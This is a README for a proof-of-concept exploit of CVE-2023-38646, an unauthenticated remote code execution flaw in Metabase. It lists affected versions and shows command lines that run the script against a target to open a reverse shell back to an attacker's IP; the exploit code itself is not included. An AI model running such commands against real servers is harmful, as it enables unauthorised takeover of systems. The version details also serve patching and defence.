Share
## https://sploitus.com/exploit?id=AB17E508-1489-503A-B246-957E6771FFA2
# CVE-2023-38646 Metabase Pre-Auth RCE (11/26/2023)
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.

The vulnerability exists within the application exposing the **setup-token** that can be use to validate the database within the **api/setup/validate**. Unauthorized user can create a malicious code and execute arbitratry command.

## Disclaimer

**USE AT YOUR OWN RISK**

This script is provided for educational and testing purposes. The author is not responsible for any misuse or damage caused by its use. Ensure compliance with applicable laws and ethical standards. By using this script, you acknowledge and accept these terms.

## Metabase
Metabase is an open source business intelligence tool that lets you create charts and dashboards using data from a variety of databases and data sources. Itโ€™s a popular project, with over 33k stars on GitHub and has had quite a lot of scrutiny from a vulnerability research perspective in the last few years.

## Proof of Concept

### Commands
```
usage: CVE-2023-38646.py [-h] -rh REMOTE_HOST [-rp [REMOTE_PORT]] -p PORT -l LOCAL_HOST

options:
  -h, --help            show this help message and exit
  -rh REMOTE_HOST, --remote-host REMOTE_HOST
                        Hostname of the target.
  -rp [REMOTE_PORT], --remote-port [REMOTE_PORT]
                        Port of the Target Machine (default: Port 80)
  -p PORT, --port PORT  Port for reverse shell.
  -l LOCAL_HOST, --local-host LOCAL_HOST
                        Your IP Adress
```
You can run the script by using this command below. You can change the remote port by using the -rp. Default port is 80
```
./CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>
```
```
python3 CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>
```

![image](https://github.com/Ego1stoo/CVE-2023-38646/assets/53305928/e6fa3975-d67d-434a-9386-30e35c0e787b)

## Vulnerable Versions
```
Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2
```

## References
- [Packet storm security Metabase-Remote-Code-Execution](https://packetstormsecurity.com/files/174091/Metabase-Remote-Code-Execution.html)
- [NVD CVE-2023-38646 Details](https://nvd.nist.gov/vuln/detail/CVE-2023-38646)